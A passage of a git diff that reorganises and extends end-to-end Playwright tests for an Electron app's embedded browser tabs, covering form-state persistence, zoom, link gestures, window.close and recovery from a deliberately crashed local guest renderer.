'127.0.0.1'): Promise<{ - url: (label: string) => string - close: () => Promise -}> { - const server = createServer((request, response) => { - const label = new URL(request.url ?? '/', 'http://127.0.0.1').pathname.slice(1) - response.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }) - response.end(` - - - - - - - `) - }) - await new Promise((resolve) => server.listen(0, host, resolve)) - const port = (server.address() as AddressInfo).port - return { - url: (label: string) => `http://${host}:${port}/${encodeURIComponent(label)}`, - close: () => closeServer(server) - } -} - -async function startBrowserWindowCloseServer(): Promise<{ - url: string - sourceUrl: string - close: () => Promise -}> { - const server = createServer((request, response) => { - const origin = `http://127.0.0.1:${(server.address() as AddressInfo).port}` - const pathname = new URL(request.url ?? '/', origin).pathname - response.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }) - if (pathname === '/source') { - response.end(` - - - Close link source - Open close page - - `) - return - } - response.end(` - - - Window close repro - - - - - - `) - }) - await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)) - const port = (server.address() as AddressInfo).port - return { - url: `http://127.0.0.1:${port}/window-close`, - sourceUrl: `http://127.0.0.1:${port}/source`, - close: () => closeServer(server) - } -} - -async function closeServer(server: Server): Promise { - await new Promise((resolve, reject) => - server.close((error) => { - if (error) { - reject(error) - return - } - resolve() - }) - ) -} - -async function clickBrowserLink( - page: Parameters[0], - browserTabId: string, - selector: string, - options: { - modifiers?: ('meta' | 'control' | 'shift')[] - button?: 'left' | 'middle' | 'right' - frameSelector?: string - } = {} -): Promise { - await page.evaluate( - async ({ targetBrowserTabId, targetSelector, inputModifiers, button, frameSelector }) => { - const slot = [...document.querySelectorAll('[data-browser-overlay-tab-id]')].find( - (candidate) => candidate.getAttribute('data-browser-overlay-tab-id') === targetBrowserTabId - ) - const webview = slot?.querySelector('webview') as Electron.WebviewTag | null - if (!webview) { - throw new Error(`Missing webview for browser tab ${targetBrowserTabId}`) - } - const point = (await webview.executeJavaScript(`(async () => { - const deadline = Date.now() + 5000 - while (Date.now() < deadline) { - const frame = ${JSON.stringify(frameSelector)} - ? document.querySelector(${JSON.stringify(frameSelector)}) - : null - const root = frame?.contentDocument ?? document - const linkRect = root.querySelector(${JSON.stringify(targetSelector)})?.getBoundingClientRect() - if (linkRect) { - const frameRect = frame?.getBoundingClientRect() - return { - x: (frameRect?.left ?? 0) + linkRect.left + linkRect.width / 2, - y: (frameRect?.top ?? 0) + linkRect.top + linkRect.height / 2 - } - } - await new Promise((resolve) => setTimeout(resolve, 25)) - } - return null - })()`)) as { x: number; y: number } | null - if (!point) { - throw new Error(`Missing browser link ${targetSelector}`) - } - const holdShift = inputModifiers.includes('shift') - if (holdShift) { - await webview.sendInputEvent({ type: 'keyDown', keyCode: 'Shift', modifiers: ['shift'] }) - } - try { - await webview.sendInputEvent({ type: 'mouseMove', modifiers: inputModifiers, ...point }) - await webview.sendInputEvent({ - type: 'mouseDown', - button, - clickCount: 1, - modifiers: inputModifiers, - ...point - }) - await webview.sendInputEvent({ - type: 'mouseUp', - button, - clickCount: 1, - modifiers: inputModifiers, - ...point - }) - } finally { - if (holdShift) { - await webview.sendInputEvent({ type: 'keyUp', keyCode: 'Shift' }) - } - } - }, - { - targetBrowserTabId: browserTabId, - targetSelector: selector, - inputModifiers: options.modifiers ?? [], - button: options.button ?? 'left', - frameSelector: options.frameSelector ?? null - } - ) -} - -async function waitForTabIdByExactTitle( - page: Parameters[0], - title: string -): Promise { - const resolveTabId = (): Promise => - page.locator('[data-tab-id]').evaluateAll((tabs, exactTitle) => { - const tab = tabs.find((candidate) => candidate.textContent?.trim() === exactTitle) - return tab?.getAttribute('data-tab-id') ?? null - }, title) - await expect.poll(resolveTabId, { timeout: 10_000 }).not.toBeNull() - return (await resolveTabId()) as string -} - -async function expectBrowserTabActive( - page: Parameters[0], - title: string -): Promise { - const tabId = await waitForTabIdByExactTitle(page, title) - await expect(page.locator(`[data-browser-overlay-tab-id="${tabId}"]`)).toHaveCSS('opacity', '1') -} - -async function expectBrowserTabOpenedInBackground( - page: Parameters[0], - sourceTabId: string, - title: string -): Promise { - const openedTabId = await waitForTabIdByExactTitle(page, title) - await expect(page.locator(`[data-browser-overlay-tab-id="${sourceTabId}"]`)).toHaveCSS( - 'opacity', - '1' - ) - await expect(page.locator(`[data-browser-overlay-tab-id="${openedTabId}"]`)).toHaveCSS( - 'opacity', - '0' - ) -} - -async function readBrowserInputValue( - page: Parameters[0], - browserTabId: string -): Promise { - return page.evaluate(async (targetBrowserTabId) => { - const slot = [...document.querySelectorAll('[data-browser-overlay-tab-id]')].find( - (candidate) => candidate.getAttribute('data-browser-overlay-tab-id') === targetBrowserTabId - ) - const webview = slot?.querySelector('webview') as Electron.WebviewTag | null - if (!webview) { - return null - } - try { - return await webview.executeJavaScript('document.querySelector("#q")?.value ?? null') - } catch { - return null - } - }, browserTabId) -} - -async function writeBrowserInputValue( - page: Parameters[0], - browserTabId: string, - value: string -): Promise { - await expect - .poll(async () => readBrowserInputValue(page, browserTabId), { timeout: 5_000 }) - .not.toBeNull() - - await page.evaluate( - async ({ targetBrowserTabId, nextValue }) => { - const slot = [...document.querySelectorAll('[data-browser-overlay-tab-id]')].find( - (candidate) => candidate.getAttribute('data-browser-overlay-tab-id') === targetBrowserTabId - ) - const webview = slot?.querySelector('webview') as Electron.WebviewTag | null - if (!webview) { - throw new Error(`Missing webview for browser tab ${targetBrowserTabId}`) - } - await webview.executeJavaScript( - `document.querySelector("#q").value = ${JSON.stringify(nextValue)}` - ) - }, - { targetBrowserTabId: browserTabId, nextValue: value } - ) - - await expect - .poll(async () => readBrowserInputValue(page, browserTabId), { timeout: 5_000 }) - .toBe(value) -} - -test.describe('Browser Tab', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - }) - - test('browser webview form state survives switching between browser tabs', async ({ - orcaPage - }) => { - const formServer = await startBrowserFormServer() - try { - const worktreeId = (await getActiveWorktreeId(orcaPage))! - const firstTab = await createBrowserTab( - orcaPage, - worktreeId, - formServer.url('First search'), - 'First Form' - ) - expect(firstTab?.id).toBeTruthy() - await writeBrowserInputValue(orcaPage, firstTab!.id, 'first typed value') - - const secondTab = await createBrowserTab( - orcaPage, - worktreeId, - formServer.url('Second search'), - 'Second Form' - ) - expect(secondTab?.id).toBeTruthy() - await writeBrowserInputValue(orcaPage, secondTab!.id, 'second typed value') - - // Why: switching browser tabs used to unmount and reparent the inactive - // Electron webview, which recreated the guest document and erased form DOM. - await switchToBrowserTab(orcaPage, worktreeId, firstTab!.id) - await expect - .poll(async () => readBrowserInputValue(orcaPage, firstTab!.id), { timeout: 5_000 }) - .toBe('first typed value') - - await switchToBrowserTab(orcaPage, worktreeId, secondTab!.id) - await expect - .poll(async () => readBrowserInputValue(orcaPage, secondTab!.id), { timeout: 5_000 }) - .toBe('second typed value') - } finally { - await formServer.close() - } - }) - - test('browser page reload restores the configured 100% zoom', async ({ orcaPage }) => { - const formServer = await startBrowserFormServer() - try { - const worktreeId = (await getActiveWorktreeId(orcaPage))! - const browserTab = await createBrowserTab( - orcaPage, - worktreeId, - formServer.url('Zoom reload'), - 'Zoom Reload' - ) - expect(browserTab?.id).toBeTruthy() - await expect - .poll(async () => readBrowserInputValue(orcaPage, browserTab!.id), { timeout: 5_000 }) - .not.toBeNull() - - const zoomLevels = await orcaPage.evaluate(async (browserTabId) => { - const slot = document.querySelector(`[data-browser-overlay-tab-id="${browserTabId}"]`) - const webview = slot?.querySelector('webview') as Electron.WebviewTag | null - if (!webview) { - throw new Error(`Missing webview for browser tab ${browserTabId}`) - } - - const levels = [webview.getZoomLevel()] - webview.setZoomLevel(0.5) - for (let reload = 0; reload < 3; reload += 1) { - await new Promise((resolve) => { - const onReady = (): void => { - webview.removeEventListener('dom-ready', onReady) - resolve() - } - webview.addEventListener('dom-ready', onReady) - if (reload === 1) { - webview.reloadIgnoringCache() - } else { - webview.reload() - } - }) - levels.push(webview.getZoomLevel()) - } - return levels - }, browserTab!.id) - - expect(zoomLevels).toEqual([0, 0, 0, 0]) - } finally { - await formServer.close() - } - }) - - test('reloading one browser tab does not adopt another tab zoom', async ({ orcaPage }) => { - const [formServerA, formServerB] = await Promise.all([ - startBrowserFormServer(), - startBrowserFormServer('localhost') - ]) - try { - const worktreeId = (await getActiveWorktreeId(orcaPage))! - const tabA = await createBrowserTab(orcaPage, worktreeId, formServerA.url('Zoom A'), 'Zoom A') - const tabB = await createBrowserTab(orcaPage, worktreeId, formServerB.url('Zoom B'), 'Zoom B') - expect(tabA?.id).toBeTruthy() - expect(tabB?.id).toBeTruthy() - for (const tab of [tabA, tabB]) { - await expect - .poll(async () => readBrowserInputValue(orcaPage, tab!.id), { timeout: 5_000 }) - .not.toBeNull() - } - - const levels = await orcaPage.evaluate( - async ({ tabAId, tabBId, pageBId }) => { - const webviewFor = (id: string): Electron.WebviewTag => { - const slot = document.querySelector(`[data-browser-overlay-tab-id="${id}"]`) - const webview = slot?.querySelector('webview') as Electron.WebviewTag | null - if (!webview) { - throw new Error(`Missing webview for browser tab ${id}`) - } - return webview - } - const webviewA = webviewFor(tabAId) - const webviewB = webviewFor(tabBId) - - // Zoom only tab B through the real renderer zoom path (also writes the shared setting). - for (let step = 0; step < 2; step += 1) { - window.dispatchEvent( - new CustomEvent('orca:browser-page-zoom', { - detail: { browserPageId: pageBId, direction: 'in' } - }) - ) - await new Promise((resolve) => setTimeout(resolve, 100)) - } - const zoomedB = webviewB.getZoomLevel() - const untouchedA = webviewA.getZoomLevel() - - await new Promise((resolve) => { - const onReady = (): void => { - webviewA.removeEventListener('dom-ready', onReady) - resolve() - } - webviewA.addEventListener('dom-ready', onReady) - webviewA.reload() - }) - - return { zoomedB, untouchedA, reloadedA: webviewA.getZoomLevel() } - }, - { tabAId: tabA!.id, tabBId: tabB!.id, pageBId: tabB!.pageId ?? tabB!.id } - ) - - expect(levels.zoomedB).toBeGreaterThan(0) - expect(levels.untouchedA).toBe(0) - // Regression: reasserting the shared default would drag tab A to tab B's zoom. - expect(levels.reloadedA).toBe(0) - } finally { - await Promise.all([formServerA.close(), formServerB.close()]) - } - }) - - test('new-tab link gestures follow Chrome foreground and background behavior', async ({ - electronApp, - orcaPage - }) => { - const linkServer = await startBrowserLinkServer() - try { - const worktreeId = (await getActiveWorktreeId(orcaPage))! - const sourceTab = await createBrowserTab( - orcaPage, - worktreeId, - linkServer.sourceUrl, - 'Source page' - ) - expect(sourceTab?.id).toBeTruthy() - - const baseWindowCount = await electronApp.evaluate( - ({ BaseWindow }) => BaseWindow.getAllWindows().length - ) - // A plain main-frame target=_blank click must not navigate the source tab away. - const sourceTabLocator = orcaPage.locator(`[data-tab-id="${sourceTab!.id}"]`) - await clickBrowserLink(orcaPage, sourceTab!.id, '#blank-link') - await expectBrowserTabActive(orcaPage, 'Blank target destination') - await expect(sourceTabLocator).toContainText('Source page') - await switchToBrowserTab(orcaPage, worktreeId, sourceTab!.id) - - // Context-menu links keep the source visible until the new tab is selected. - await clickBrowserLink(orcaPage, sourceTab!.id, '#external-link', { button: 'right' }) - await orcaPage - .getByRole('menuitem', { name: 'Open Link In Orca Browser', exact: true }) - .click() - await expectBrowserTabOpenedInBackground(orcaPage, sourceTab!.id, 'Linked destination') - await clickBrowserLink(orcaPage, sourceTab!.id, '#frame-link', { - frameSelector: '#link-frame' - }) - await expectBrowserTabActive(orcaPage, 'Frame destination') - await switchToBrowserTab(orcaPage, worktreeId, sourceTab!.id) - - await clickBrowserLink(orcaPage, sourceTab!.id, '#frame-modifier-link', { - frameSelector: '#link-frame', - modifiers: process.platform === 'darwin' ? ['meta'] : ['control'] - }) - await expectBrowserTabOpenedInBackground( - orcaPage, - sourceTab!.id, - 'Frame modifier destination' - ) - await clickBrowserLink(orcaPage, sourceTab!.id, '#frame-middle-link', { - button: 'middle', - frameSelector: '#link-frame' - }) - await expectBrowserTabOpenedInBackground(orcaPage, sourceTab!.id, 'Frame middle destination') - - await clickBrowserLink(orcaPage, sourceTab!.id, '#modifier-link', { - modifiers: process.platform === 'darwin' ? ['meta'] : ['control'] - }) - await expectBrowserTabOpenedInBackground(orcaPage, sourceTab!.id, 'Modifier destination') - - await clickBrowserLink(orcaPage, sourceTab!.id, '#frame-shift-middle-link', { - button: 'middle', - modifiers: ['shift'], - frameSelector: '#link-frame' - }) - await expectBrowserTabActive(orcaPage, 'Frame shift middle destination') - await switchToBrowserTab(orcaPage, worktreeId, sourceTab!.id) - - const tabCountBeforeCancelledClick = await orcaPage.locator('[data-tab-id]').count() - await clickBrowserLink(orcaPage, sourceTab!.id, '#cancelled-link') - await expect( - orcaPage.locator('[data-tab-id]').filter({ hasText: 'Click handled in page' }) - ).toBeVisible({ timeout: 10_000 }) - await expect(orcaPage.locator('[data-tab-id]')).toHaveCount(tabCountBeforeCancelledClick) - - await clickBrowserLink(orcaPage, sourceTab!.id, '#middle-link', { button: 'middle' }) - await expectBrowserTabOpenedInBackground(orcaPage, sourceTab!.id, 'Middle-click destination') - await expect - .poll(() => electronApp.evaluate(({ BaseWindow }) => BaseWindow.getAllWindows().length), { - timeout: 5_000 - }) - .toBe(baseWindowCount) - } finally { - await linkServer.close() - } - }) - - test('window.close removes a link-created tab and keeps neighboring tabs usable', async ({ - orcaPage - }) => { - const closeServer = await startBrowserWindowCloseServer() - try { - const worktreeId = (await getActiveWorktreeId(orcaPage))! - const neighboringTab = await createBrowserTab( - orcaPage, - worktreeId, - closeServer.sourceUrl, - 'Neighboring tab' - ) - const sourceTab = await createBrowserTab( - orcaPage, - worktreeId, - closeServer.sourceUrl, - 'Close link source' - ) - expect(neighboringTab?.id).toBeTruthy() - expect(sourceTab?.id).toBeTruthy() - - await clickBrowserLink(orcaPage, sourceTab!.id, '#window-close-link') - let closeTabId: string | null = null - await expect - .poll(async () => { - const tabs = await getBrowserTabs(orcaPage, worktreeId) - closeTabId = tabs.find((tab) => tab.url === closeServer.url)?.id ?? null - return closeTabId - }) - .not.toBeNull() - - await clickBrowserLink(orcaPage, closeTabId!, '#window-close') - await expect - .poll(async () => (await getBrowserTabs(orcaPage, worktreeId)).map((tab) => tab.id)) - .not.toContain(closeTabId) - expect((await getBrowserTabs(orcaPage, worktreeId)).map((tab) => tab.id)).toContain( - sourceTab!.id - ) - await orcaPage.locator(`[data-tab-id="${neighboringTab!.id}"]`).click() - await expect.poll(async () => getActiveTabType(orcaPage), { timeout: 5_000 }).toBe('browser') - await expect( - orcaPage.locator(`[data-browser-overlay-tab-id="${neighboringTab!.id}"]`) - ).toHaveCSS('opacity', '1') - await writeBrowserInputValue(orcaPage, neighboringTab!.id, 'still usable after close') - } finally { - await closeServer.close() - } - }) - - test('a single-entry browser tab honors protected window.close and preserves its neighbor', async ({ - orcaPage - }) => { - const closeServer = await startBrowserWindowCloseServer() - try { - const worktreeId = (await getActiveWorktreeId(orcaPage))! - const neighboringTab = await createBrowserTab( - orcaPage, - worktreeId, - closeServer.sourceUrl, - 'Neighbor' - ) - expect(neighboringTab?.id).toBeTruthy() - const directTab = await createBrowserTab( - orcaPage, - worktreeId, - closeServer.url, - 'Direct close tab' - ) - expect(directTab?.id).toBeTruthy() - - await clickBrowserLink(orcaPage, directTab!.id, '#window-close') - await expect - .poll(async () => (await getBrowserTabs(orcaPage, worktreeId)).map((tab) => tab.id)) - .not.toContain(directTab!.id) - await orcaPage.locator(`[data-tab-id="${neighboringTab!.id}"]`).click() - await expect.poll(async () => getActiveTabType(orcaPage), { timeout: 5_000 }).toBe('browser') - await expect( - orcaPage.locator(`[data-browser-overlay-tab-id="${neighboringTab!.id}"]`) - ).toHaveCSS('opacity', '1') - await writeBrowserInputValue(orcaPage, neighboringTab!.id, 'still usable after close') - } finally { - await closeServer.close() - } - }) -}) diff --git a/tests/e2e/helpers/client-hosted-browser-fixture.ts b/tests/e2e/browser/client-hosted/client-hosted-browser-fixture.ts similarity index 96% rename from tests/e2e/helpers/client-hosted-browser-fixture.ts rename to tests/e2e/browser/client-hosted/client-hosted-browser-fixture.ts index 9fd31a3d8ff..694d6213095 100644 --- a/tests/e2e/helpers/client-hosted-browser-fixture.ts +++ b/tests/e2e/browser/client-hosted/client-hosted-browser-fixture.ts @@ -1,9 +1,10 @@ import { createServer } from 'node:http' import type { AddressInfo } from 'node:net' import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import { readRestartRendererState } from './orca-restart' -import type { PairedElectronClient } from './paired-electron-client' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { readRestartRendererState } from '../../desktop/electron-fixtures/orca-restart' +import type { PairedElectronClient } from '../../remote/paired-runtime/client-hosts/paired-electron-client' // Reuse exact-tab identity checks across survival specs so a fresh guest at the same URL cannot count as a survivor. export type ClientHostedMarkerFixture = { diff --git a/tests/e2e/helpers/client-hosted-browser-observer.ts b/tests/e2e/browser/client-hosted/client-hosted-browser-observer.ts similarity index 100% rename from tests/e2e/helpers/client-hosted-browser-observer.ts rename to tests/e2e/browser/client-hosted/client-hosted-browser-observer.ts diff --git a/tests/e2e/paired-client-hosted-browser-markup.spec.ts b/tests/e2e/browser/client-hosted/paired-client-hosted-browser-markup.spec.ts similarity index 94% rename from tests/e2e/paired-client-hosted-browser-markup.spec.ts rename to tests/e2e/browser/client-hosted/paired-client-hosted-browser-markup.spec.ts index 2e7c6aba5a4..dcdc428c410 100644 --- a/tests/e2e/paired-client-hosted-browser-markup.spec.ts +++ b/tests/e2e/browser/client-hosted/paired-client-hosted-browser-markup.spec.ts @@ -1,16 +1,17 @@ -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchHeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' import { launchPairedElectronClient, type PairedElectronClient -} from './helpers/paired-electron-client' +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' import { openClientHostedFixturePage, selectPairedWorktreeGroup, startClientHostedMarkerFixture, waitForPairedWorktreeId, waitForRenderedClientWebview -} from './helpers/client-hosted-browser-fixture' +} from './client-hosted-browser-fixture' test('draws and copies a screenshot from a client-hosted browser without replacing its guest', async ({ testRepoPath diff --git a/tests/e2e/paired-client-hosted-profile-cookies.spec.ts b/tests/e2e/browser/client-hosted/paired-client-hosted-profile-cookies.spec.ts similarity index 88% rename from tests/e2e/paired-client-hosted-profile-cookies.spec.ts rename to tests/e2e/browser/client-hosted/paired-client-hosted-profile-cookies.spec.ts index 46c63326fe3..82d602994cb 100644 --- a/tests/e2e/paired-client-hosted-profile-cookies.spec.ts +++ b/tests/e2e/browser/client-hosted/paired-client-hosted-profile-cookies.spec.ts @@ -1,17 +1,18 @@ -import { expect, test } from './helpers/orca-app' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { RuntimeClient } from '../../../../src/cli/runtime/client' +import { launchHeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' import { launchPairedElectronClient, type PairedElectronClient -} from './helpers/paired-electron-client' +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' import { openClientHostedFixturePage, selectPairedWorktreeGroup, startClientHostedMarkerFixture, waitForPairedWorktreeId, waitForRenderedClientWebview -} from './helpers/client-hosted-browser-fixture' +} from './client-hosted-browser-fixture' test('switches a paired client profile while preserving isolated native cookie jars', async ({ testRepoPath diff --git a/tests/e2e/browser-embedded-owner-routing.spec.ts b/tests/e2e/browser/guest-lifecycle/browser-embedded-owner-routing.spec.ts similarity index 97% rename from tests/e2e/browser-embedded-owner-routing.spec.ts rename to tests/e2e/browser/guest-lifecycle/browser-embedded-owner-routing.spec.ts index dae6677e131..4a6b69a51bc 100644 --- a/tests/e2e/browser-embedded-owner-routing.spec.ts +++ b/tests/e2e/browser/guest-lifecycle/browser-embedded-owner-routing.spec.ts @@ -6,8 +6,13 @@ import os from 'node:os' import path from 'node:path' import { promisify } from 'node:util' import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, getActiveWorktreeId, waitForActiveWorktree } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + getActiveWorktreeId, + waitForActiveWorktree +} from '../../desktop/renderer-probes/store' const execFileAsync = promisify(execFile) // Why: Unix-domain helper sockets can exceed platform path limits under macOS's long temp root. diff --git a/tests/e2e/browser/guest-lifecycle/browser-guest-crash-recovery.spec.ts b/tests/e2e/browser/guest-lifecycle/browser-guest-crash-recovery.spec.ts new file mode 100644 index 00000000000..76ae6f1cd1f --- /dev/null +++ b/tests/e2e/browser/guest-lifecycle/browser-guest-crash-recovery.spec.ts @@ -0,0 +1,208 @@ +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import 'node:http' + +import os from 'node:os' +import path from 'node:path' +import { pathToFileURL } from 'node:url' + +import { test } from '../../desktop/electron-fixtures/orca-app' +import { type Page, expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + getActiveWorktreeId, + waitForActiveWorktree +} from '../../desktop/renderer-probes/store' +import '../../../../src/renderer/src/components/browser-pane/host-guest/recovery/browser-page-guest-recovery' + +import { + crashGuestRenderer, + listRegisteredBrowserPages, + readBrowserGuestState, + readGuestProcessId, + verifyBrowserWorktreeRetentionAndRecovery +} from './browser-guest-runtime-oracle' + +type BrowserFixture = { + browserTab: { id: string; activePageId: string } + fixtureUrl: string + worktreeId: string +} + +async function createBrowserFixture( + page: Page, + registerCleanup: (cleanup: () => Promise) => void +): Promise { + const fixtureDir = mkdtempSync(path.join(os.tmpdir(), 'orca-browser-recovery-')) + registerCleanup(async () => { + rmSync(fixtureDir, { recursive: true, force: true }) + }) + const fixturePath = path.join(fixtureDir, 'recovery.html') + writeFileSync( + fixturePath, + 'Recovery fixture

painted-file-guest

' + ) + const fixtureUrl = pathToFileURL(fixturePath).href + await waitForActiveWorktree(page) + await ensureTerminalVisible(page) + const worktreeId = await getActiveWorktreeId(page) + if (!worktreeId) { + throw new Error('Expected an active worktree') + } + const browserTab = await page.evaluate( + ({ targetWorktreeId, targetUrl }) => + window.__store?.getState().createBrowserTab(targetWorktreeId, targetUrl, { + title: 'Recovery fixture', + activate: true + }), + { targetWorktreeId: worktreeId, targetUrl: fixtureUrl } + ) + if (!browserTab?.activePageId) { + throw new Error('Failed to create browser recovery fixture tab') + } + return { + browserTab: { id: browserTab.id, activePageId: browserTab.activePageId }, + fixtureUrl, + worktreeId + } +} + +test('browser chrome recovers a live registered file guest after renderer loss', async ({ + electronApp, + orcaPage, + registerPostElectronShutdownCleanup +}) => { + const { browserTab, fixtureUrl, worktreeId } = await createBrowserFixture( + orcaPage, + registerPostElectronShutdownCleanup + ) + + await expect + .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) + .toMatchObject({ + chromePresent: true, + marker: 'painted-file-guest', + url: fixtureUrl + }) + const before = await readBrowserGuestState(orcaPage, browserTab.id) + expect(before.webContentsId).not.toBeNull() + const beforeProcessId = await readGuestProcessId(electronApp, before.webContentsId!) + await expect + .poll( + async () => + (await listRegisteredBrowserPages(orcaPage, worktreeId)).result?.tabs?.find( + (tab) => tab.browserPageId === browserTab.activePageId + ), + { timeout: 10_000 } + ) + .toMatchObject({ browserPageId: browserTab.activePageId, url: fixtureUrl }) + + const crashDetails = await crashGuestRenderer(electronApp, before.webContentsId!) + expect(['crashed', 'killed']).toContain(crashDetails.reason) + + await expect + .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) + .toMatchObject({ + chromePresent: true, + marker: 'painted-file-guest', + url: fixtureUrl + }) + const recovered = await readBrowserGuestState(orcaPage, browserTab.id) + expect(recovered.webContentsId).toBe(before.webContentsId) + await expect + .poll(() => readGuestProcessId(electronApp, recovered.webContentsId!), { timeout: 10_000 }) + .not.toBe(beforeProcessId) + await expect + .poll(() => listRegisteredBrowserPages(orcaPage, worktreeId), { timeout: 10_000 }) + .toMatchObject({ + ok: true, + result: { tabs: [{ browserPageId: browserTab.activePageId, url: fixtureUrl }] } + }) + + await orcaPage.evaluate( + async ({ targetBrowserTabId, targetValue }) => { + const overlay = document.querySelector( + `[data-browser-overlay-tab-id="${targetBrowserTabId}"]` + ) + const webview = overlay?.querySelector('webview') as Electron.WebviewTag + await webview.executeJavaScript( + `document.querySelector('#recovery-state').value = ${JSON.stringify(targetValue)}` + ) + }, + { targetBrowserTabId: browserTab.id, targetValue: 'unsaved-form-state' } + ) + await orcaPage.evaluate((browserPageId) => { + return window.api.browser.unregisterGuest({ browserPageId }) + }, browserTab.activePageId) + await expect + .poll( + async () => + (await listRegisteredBrowserPages(orcaPage, worktreeId)).result?.tabs?.some( + (tab) => tab.browserPageId === browserTab.activePageId + ) ?? false + ) + .toBe(false) + await electronApp.evaluate(({ BrowserWindow }) => { + BrowserWindow.getAllWindows()[0]?.webContents.send('system:resumed') + }) + await expect + .poll(async () => + (await listRegisteredBrowserPages(orcaPage, worktreeId)).result?.tabs?.find( + (tab) => tab.browserPageId === browserTab.activePageId + ) + ) + .toMatchObject({ browserPageId: browserTab.activePageId, url: fixtureUrl }) + await expect + .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) + .toMatchObject({ chromePresent: true, marker: 'painted-file-guest', url: fixtureUrl }) + const resumeRecovered = await readBrowserGuestState(orcaPage, browserTab.id) + expect(resumeRecovered.webContentsId).toBe(recovered.webContentsId) + expect(resumeRecovered.formValue).toBe('unsaved-form-state') + + const backgroundTab = await orcaPage.evaluate( + ({ targetWorktreeId }) => + window.__store?.getState().createBrowserTab(targetWorktreeId, 'about:blank', { + title: 'Background control', + activate: false + }), + { targetWorktreeId: worktreeId } + ) + expect(backgroundTab?.id).toBeTruthy() + await expect + .poll(() => readBrowserGuestState(orcaPage, backgroundTab!.id), { timeout: 10_000 }) + .toMatchObject({ chromePresent: true }) + + const beforeRendererReloadId = resumeRecovered.webContentsId + await orcaPage.reload() + await waitForActiveWorktree(orcaPage) + await expect + .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) + .toMatchObject({ chromePresent: true, marker: 'painted-file-guest', url: fixtureUrl }) + const rendererReloaded = await readBrowserGuestState(orcaPage, browserTab.id) + expect(rendererReloaded.webContentsId).not.toBe(beforeRendererReloadId) + + await orcaPage.evaluate((targetBrowserTabId) => { + window.__store?.getState().setActiveBrowserTab(targetBrowserTabId) + }, backgroundTab!.id) + const hiddenBefore = await readBrowserGuestState(orcaPage, browserTab.id) + const hiddenProcessId = await readGuestProcessId(electronApp, hiddenBefore.webContentsId!) + await crashGuestRenderer(electronApp, hiddenBefore.webContentsId!) + await expect + .poll(() => readGuestProcessId(electronApp, hiddenBefore.webContentsId!), { + timeout: 10_000 + }) + .not.toBe(hiddenProcessId) + await orcaPage.evaluate((targetBrowserTabId) => { + window.__store?.getState().setActiveBrowserTab(targetBrowserTabId) + }, browserTab.id) + await expect + .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) + .toMatchObject({ chromePresent: true, marker: 'painted-file-guest', url: fixtureUrl }) + + await verifyBrowserWorktreeRetentionAndRecovery({ + browserTab, + electronApp, + fixtureUrl, + page: orcaPage, + worktreeId + }) +}) diff --git a/tests/e2e/browser-guest-runtime-oracle.ts b/tests/e2e/browser/guest-lifecycle/browser-guest-runtime-oracle.ts similarity index 97% rename from tests/e2e/browser-guest-runtime-oracle.ts rename to tests/e2e/browser/guest-lifecycle/browser-guest-runtime-oracle.ts index a6c987ee3e3..26b9cd4b34a 100644 --- a/tests/e2e/browser-guest-runtime-oracle.ts +++ b/tests/e2e/browser/guest-lifecycle/browser-guest-runtime-oracle.ts @@ -1,6 +1,7 @@ import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect } from './helpers/orca-app' -import { switchToOtherWorktree, switchToWorktree } from './helpers/store' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { switchToOtherWorktree, switchToWorktree } from '../../desktop/renderer-probes/store' export type BrowserGuestState = { chromePresent: boolean diff --git a/tests/e2e/helpers/browser-sidecar-launch.ts b/tests/e2e/browser/guest-lifecycle/browser-sidecar-launch.ts similarity index 67% rename from tests/e2e/helpers/browser-sidecar-launch.ts rename to tests/e2e/browser/guest-lifecycle/browser-sidecar-launch.ts index 38711a0296f..3bb4dd09527 100644 --- a/tests/e2e/helpers/browser-sidecar-launch.ts +++ b/tests/e2e/browser/guest-lifecycle/browser-sidecar-launch.ts @@ -1,9 +1,9 @@ import path from 'node:path' import { spawnProcess } from '@orca/process-host' -import { BROWSER_SIDECAR_OWNER_ENV } from '../../../src/shared/browser/runtime/browser-sidecar-lifetime' -import { resolveElectronExecutable } from './daemon-generation-runtime-fixture' -import { getOrcaElectronLaunchArgs } from './electron-launch-args' -import { isolatedServeProfile } from './orca-serve-cli-host' +import { BROWSER_SIDECAR_OWNER_ENV } from '../../../../src/shared/browser/runtime/browser-sidecar-lifetime' +import { resolveElectronExecutable } from '../../desktop/daemon-lifecycle/daemon-generation-runtime-fixture' +import { getOrcaElectronLaunchArgs } from '../../desktop/electron-fixtures/electron-launch-args' +import { isolatedServeProfile } from '../../remote/paired-runtime/client-hosts/orca-serve-cli-host' // An IPC owner must be disconnectable independently of Playwright's app connection. export function launchOwnedBrowserForE2E(profile: 